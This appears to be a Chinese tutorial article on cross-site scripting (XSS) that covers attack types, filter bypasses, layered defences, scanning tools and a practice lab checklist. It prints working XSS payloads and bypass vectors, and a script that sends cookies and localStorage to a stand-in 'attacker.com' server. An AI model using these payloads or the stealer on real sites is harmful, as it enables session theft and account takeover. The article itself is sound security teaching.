深夜,购物平台“京淘”安全团队接到用户投诉,称账号在深夜自动发布带有购物链接的帖子。安全工程师检查时,在相关页面触发了JavaScript弹窗“alert(\"Hello SSS\")”。这并非恶作剧,而是一场精心设计的XSS攻击。攻击者仅用了一段简短的JavaScript代码,便劫持了上千个活跃账号。这一切的源头,竟是一个被开发者认为“无害”的功能:用户评论支持HTML富文本。
一、XSS的本质:当浏览器分不清“代码”与“数据”
XSS(跨站脚本攻击)的核心在于,攻击者将恶意脚本代码“注入”到可信的网页中,当用户浏览器加载该页面时,会将这些输入误认为是合法的代码指令予以执行。
一个看似无害的评论功能就可能成为入口。假设一个博客网站允许用户评论:
<!-- 用户正常评论 -->
<div class=\"comment\">
<p>这篇文章很有帮助!</p>
</div>
<!-- 攻击者评论 -->
<div class=\"comment\">
<p>好文章!</p>
<script>alert('你的cookie是:' + document.cookie)</script>
</div>
当其他用户浏览这篇博客时,<script>标签及其内容会被浏览器当作代码执行,弹出包含当前用户Cookie的对话框,而不是作为普通文本显示。
XSS的破坏力随着Web技术的发展而不断演进:
- 第一阶段:弹窗恶作剧(2000年代早期):
<script>alert('XSS')</script>
- 第二阶段:窃取数据(2010年代):通过
fetch请求将用户敏感数据(如Cookie)发送到攻击者服务器。
- 第三阶段:持久化攻击(现代):攻击变得更加隐蔽和自动化。恶意脚本可以窃取用户身份令牌(Token),并以其身份执行操作(如发帖),甚至在页面中植入后门脚本,实现长期控制。
二、三种XSS类型:理解攻击的不同维度
1. 反射型XSS(最易理解,最难利用)
攻击脚本通常隐藏在URL参数中,需要诱骗用户点击才能触发。
- 场景:搜索功能。正常搜索
https://example.com/search?q=网络安全 会显示“您搜索的是:网络安全”。而恶意搜索 https://example.com/search?q=<script>alert(1)</script> 在显示时则会执行其中的脚本。
- 特点:需要用户点击特定链接;不存储在服务器上;常用于钓鱼攻击。
- 手动测试Payload:
<script>alert(1)</script>, `,<svg onload=alert(1)>,<body onload=alert(1)>`。
2. 存储型XSS(危害最大,最隐蔽)
攻击脚本被永久存储在服务器端(如数据库),所有访问特定页面的用户都会中招。
- 场景:用户资料、评论、论坛帖子等包含用户可控内容且会被其他用户查看的地方。
- 真实案例:2015年,某社交平台因存储型XSS导致千万用户资料泄露;也有攻击者在个人资料中植入挖矿脚本,利用访客的CPU资源进行加密货币挖矿。
一段典型的窃取脚本可能如下所示,攻击者将其插入个人简介等可编辑字段:
// 攻击者在个人简介中插入:
<script>
// 静默收集访问者信息
const data = {
cookie: document.cookie,
userAgent: navigator.userAgent,
url: location.href,
localStorage: JSON.stringify(localStorage)
};
// 发送到攻击者服务器
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
</script>
3. DOM型XSS(最易被忽略)
与反射型的关键区别在于,漏洞存在于前端JavaScript代码逻辑中,服务器返回的响应可能是“干净”的,但客户端的JS不安全地操作了DOM,导致了代码执行。
- 示例:页面源码中,JavaScript直接从URL获取参数并插入到HTML中。
<script>
// 从URL获取参数并直接使用
const name = new URLSearchParams(location.search).get('name');
// 危险操作:直接插入到HTML中
document.getElementById('welcome').innerHTML = 'Hello, ' + name;
</script>
攻击者可以构造URL:https://example.com/page?name=。当用户访问此链接时,stealCookie()函数将被执行。
- 为什么危险:服务器可能完全无感知,传统基于流量检测的WAF难以防御,在现代单页面应用(SPA)中尤为常见。
三、绕过防御:现代XSS攻击技巧
攻击者一直在寻找各种方法绕过开发者的安全措施。
1. 过滤<script>标签的绕过
如果防御措施仅仅是删除或转义<script>标签,攻击者可能尝试:
- 嵌套绕过:
<scr<script>ipt>alert(1)</script>,过滤中间部分后,前后部分会拼合成新的<script>。
- 使用其他标签:利用支持事件处理器的HTML标签,如
<svg onload=alert(1)>或``。
2. HTML实体编码的绕过
如果防御措施是将<转义为<,>转义为>,在特定上下文中仍可能被绕过。例如,在JavaScript字符串上下文中,编码后的字符可能会被解码。
<script>
var userInput = “<?php echo htmlspecialchars($_GET['input']); ?>“;
document.write(userInput); // 这里会解码HTML实体!
</script>
攻击者输入</script><script>alert(1)</script>,经过编码后插入。当document.write执行时,编码的</script>会被解码,从而提前闭合原<script>标签,紧接着执行新的恶意脚本。
3. 内容安全策略(CSP)的绕过
CSP(Content-Security-Policy)是一个强大的安全层,但配置错误会使其形同虚设。
4. 现代框架的特殊上下文
像Vue.js和React这样的前端框架提供了特定的API,如果使用不当,也会引入XSS风险。
- Vue.js中的
v-html指令:<div v-html=\"userContent\"></div>。Vue不会执行userContent中的<script>标签,但其他可执行代码的标签如``仍可能被利用。
- React中的
dangerouslySetInnerHTML:<div dangerouslySetInnerHTML={{__html: userContent}} />。React默认会对插入的内容进行转义,但如果使用了有漏洞的第三方库或自定义组件处理不当,风险依然存在。
四、从攻击到防御:构建多层防护体系
单一的防御手段很容易被绕过,有效的防护需要多层叠加。
第一层:输入处理(白名单优于黑名单)
不要试图用黑名单(过滤特定标签)来防御,因为绕过方法层出不穷。
// 不好的做法:过滤特定标签(黑名单)
function filterBad(input) {
return input.replace(/<script>/gi, '‘); // 容易被绕过:<scr<script>ipt>
}
正确的做法是使用基于白名单的净化库,只允许安全的标签和属性。
// 好的做法:基于允许列表(白名单)并使用专门库
// 推荐库:
// - DOMPurify (浏览器端)
// - js-xss (Node.js)
// - OWASP Java HTML Sanitizer
第二层:输出编码(上下文敏感)
关键是要知道用户输入的数据将被插入到什么上下文中,并采用对应的编码函数。
// 1. HTML上下文
function encodeForHTML(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/“/g, '"')
.replace(/'/g, ''');
}
// 2. JavaScript上下文(如`<script>`标签内或事件处理器属性值中)
function encodeForJS(text) {
return text
.replace(/\\/g, '\\\\')
.replace(/“/g, '\\”')
.replace(/'/g, \"\\’\")
.replace(/\\n/g, '\\\\n');
}
// 3. URL上下文(如链接的href属性)
function encodeForURL(text) {
return encodeURIComponent(text);
}
第三层:内容安全策略(CSP)
如前所述,正确配置的CSP是抵御XSS的强力后盾,它能从根本上告诉浏览器哪些资源可以加载和执行。
第四层:利用现代浏览器的安全特性
五、工具集:从手动测试到自动化扫描
对于开发者和安全人员,拥有一套工具集至关重要。
手动测试工具
- 浏览器开发者工具:最基础的工具。使用网络面板查看请求响应,控制台调试JavaScript,元素审查器查看动态DOM变化。
- Burp Suite插件:如
XSS Validator、专门针对DOM XSS的DOM Invader。
- 浏览器扩展:如
XSS Ray、XSS Strike。
自动化扫描工具
# 1. XSStrike (智能XSS扫描器)
python xsstrike.py -u \"http://target.com/search?q=test\"
# 2. dalfox (专注于DOM型XSS扫描)
dalfox url http://target.com/page
# 3. Nuclei模板 (快速检测已知漏洞模式)
nuclei -u http://target.com -t xss.yaml
有效载荷库
推荐使用SecLists项目中的XSS Payload集合 (www.github.com/danielmiessler/SecLists)。了解常见的绕过向量也非常有帮助,例如:
<iframe srcdoc=\"<script>alert(1)</script>\">
<details/open/ontoggle=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x></svg>
六、真实案例分析:从漏洞发现到修复
以某电商网站商品预览功能为例。
漏洞发现:
安全测试人员发现商品预览页面的URL参数preview被直接插入到页面HTML中。
攻击者可以构造URL:GET /product/123?preview=<svg/onload=alert(1)>
后端存在问题的代码(Node.js Express示例):
// 修复前
app.get('/product/:id', (req, res) => {
const preview = req.query.preview || ‘';
res.send(`
<div class=\"preview\">
预览: ${preview} <!-- 直接插入,危险! -->
</div>
`);
});
利用链:
- 攻击者在商品评价或站内信中植入包含窃取脚本的恶意预览链接。
- 用户点击链接,脚本在用户浏览器中执行,等待用户登录后窃取其身份认证Token。
- 脚本利用窃取的Token调用网站API,修改用户的收货地址。
- 攻击者再利用该Token下单,将商品发往自己控制的地址。
修复方案:
对preview参数进行严格的HTML编码(使用前述的encodeForHTML函数)后再输出,确保任何用户输入都被当作纯文本显示,而非可执行的代码。
七、XSS的未来:新挑战与新技术
Web技术不断发展,XSS的攻防战场也在转移。
- 新挑战:服务器端渲染(SSR)、WebAssembly、复杂的第三方组件库等都可能引入新的攻击面。
- 新兴防御技术:
- Trusted Types API:浏览器原生API,要求开发者明确声明危险操作的数据类型,从根本上杜绝不安全的字符串拼接。
- 隔离技术:如Google Chrome的Site Isolation,将不同站点隔离在不同的进程中,限制攻击的影响范围。
- 机器学习检测:在WAF或客户端动态分析脚本行为,识别恶意模式。
实战入门清单
如果你对XSS攻防感兴趣,可以按以下步骤开始实践:
- 第一小时:认识XSS
- 访问
xss-game.appspot.com。
- 完成第一关,直观感受XSS攻击是如何发生的。
- 第一天:基础实践
- 使用Docker快速搭建靶场:
docker run -d -p 8080:80 vulnerables/web-dvwa。
- 在DVWA的反射型XSS模块,尝试输入不同Payload:
<script>alert(document.domain)</script>,``,观察并理解浏览器的执行逻辑。
- 第一周:深度理解
- 系统学习HTML、JavaScript及浏览器安全模型。
- 尝试在更真实的漏洞靶场(如PortSwigger的Web安全学院)中挑战更复杂的XSS场景。
- 学习使用自动化扫描工具辅助测试。
记住,每一个看似简单的alert(1)弹窗背后,都可能是一条通往数据泄露、账户劫持或业务欺诈的路径。XSS教会开发者的最重要一课,是对所有不可信的用户输入保持永恒的敬畏。在Web安全的世界里,验证是最必要的日常习惯,而盲目的信任则是最大的风险。
参考资料
[1] 从弹窗到账户劫持:XSS跨站脚本攻击深度解析, 微信公众号:mp.weixin.qq.com/s/7Rp11GkMnjIvET5lTg99Ag
版权声明:本文由 云栈社区 整理发布,版权归原作者所有。